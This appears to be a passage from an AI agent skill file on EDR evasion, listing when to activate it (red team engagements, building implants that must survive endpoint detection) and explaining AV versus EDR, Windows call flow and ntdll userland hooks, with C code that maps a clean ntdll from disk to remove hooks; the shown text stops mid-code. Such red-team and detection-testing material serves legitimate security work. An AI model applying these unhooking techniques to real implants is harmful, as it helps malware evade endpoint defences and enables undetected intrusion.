edr-evasion

# EDR Evasion ## When to Activate - Planning EDR bypass during red team engagements - Researching AV/EDR evasion techniques - Developing implants that must survive endpoint detection - Testing detection capabilities of security products ## Fundamentals ### AV vs EDR **Antivirus (preventive)**: - Static analysis: matching known signatures in files - Dynamic analysis: limited behavioral monitoring/sandboxing - Effective against known threats, weaker against advanced attacks **EDR (proactive & investigative)**: - Continuous endpoint monitoring - Behavioral analysis at kernel level - Anomaly detection and post-compromise visibility - Prioritizes incident response and investigation ### Windows Execution Flow ``` Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl) ↑ EDR hooks here (userland hooks in ntdll) ``` ## Hook Unhooking ### Userland Unhooking (ntdll.dll) EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code. ```c // Method 1: Map fresh ntdll from disk HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); // Get .text section of loaded ntdll HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll"); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER...